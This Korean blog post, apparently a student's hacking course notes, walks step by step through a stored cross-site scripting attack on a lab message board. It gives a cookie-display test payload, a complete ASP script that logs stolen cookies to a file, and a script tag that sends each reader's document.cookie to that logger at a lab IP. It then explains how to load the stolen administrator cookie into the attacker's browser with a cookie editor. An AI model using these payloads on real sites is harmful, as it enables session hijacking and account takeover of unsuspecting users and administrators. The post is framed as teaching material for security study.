딩굴댕굴

네트워크 해킹 - 17. XSS(Cross Site Scripting)

by jennysgap

BOX

XSS(Cross Site Scripting)

- 원격지의 공격자가 피해자의 cookie값을 획득하여 무인증으로 로그인 하는 형태

    > 브라우저의 URL에 javascript:document.cookie 입력 (cookie 값 확인 시)

 - cookie 값 획득을 위해 공격자는 피해 서버의 게시판에 공격용

    스크립트를 업로드하고 이를 이용해 상대의 cookie 값을 획득

- Paros proxy, cooxie toolbar와 같이 브라우저에 cookie값을 변경할 수 있는 도구를 이용하여 강제 로그인함. 


1. 공격 단계

   * cookie를 인증값으로 사용하는 통신에서만 가능함.

   * 게시판에 <script> 기능 사용할 경우 쉽게 접근 가능.


2. script 사용이 가능한 지 테스트

     -> 게시판 접속

     -> 글 작성   

       <script>alert(document.cookie)</script>

     -> 위 작업이 성공할 경우 공격 프로그램 업로드. 

     <%

      testfile=server.MapPath("getcookie.txt")

      msg=request("msg")

      set fs=server.CreateObject("Scripting.FileSystemObject")

      set thisfile=fs.OpenTextFile(testfile,8,true,0)

      thisfile.writeline(""&msg&"")

      thisfile.close

      set fs=nothing

     %> 

     getcookie.asp로 저장하여 파일 업로드 한다. 

    -> 게시글 작성

    게시물 작성 : 

        <script>document.location="http://192.168.4.146/board/pds/getcookie.asp?msg="

    +document.cookie</script>

    위 내용을 텍스트 영역에 포함 시킨다. 

    * 관리자가 해당 글을 읽게 되면 관리자의 cookie 값이 남게 된다. 

    -> URL로 cookie 값이 남은 파일에 직접 접근하여 cookie 값을 취한다. 

    -> cooxie toolbar 등을 이용해 획득 된 관리자의 cookie를 공격자의

       브라우저에 세팅한다. 

    -> Reload 하면 계정이 변경 된다.  


3. Cxi12Setup.exe 사용법

Cxi12Setup.exe


브라우저 오른쪽 위를 보면 edit cookie 아이콘이 있음


4. 실습

게시판 접속  →  로그인 


게시물 작성


게시물이 '아!' 만 보이면 작업 실패


게시물을 읽었을 때, 아래같은 창이 뜨면(성공) 공격 프로그램 업로드 진행

    


getcookie.asp로 저장하여 파일 만들기


게시글 작성  →  getcookie.asp 파일 첨부  →  아래 이미지를 참고하여 게시물 업로드

<script>document.location="http://192.168.4.153/board/pds/getcookie.asp?msg=" +document.cookie</script>

텍스트 영역에 포함하여 게시글 작성


* 관리자가 해당 글을 읽게 되면 관리자의 cookie 값이 남게 된다. 


URL로 cookie 값이 남은 파일에 직접 접근하여 cookie 값을 취한다. 

URL 주소 확인하는 방법  →  파일 속성 클릭  →  주소에서 asp를 txt로 변경 후 검색창에 입력

    


검색  →  cookie 값 확인


cooxie toolbar 등을 이용해 획득 된 관리자의 cookie를 공격자의 브라우저에 세팅한다. 


-> Reload 하면계정이 변경 된다.    회원1에서 jenny(관리자)로 계정 변경 완료!


반응형

블로그의 정보

jennysgap

jennysgap

활동하기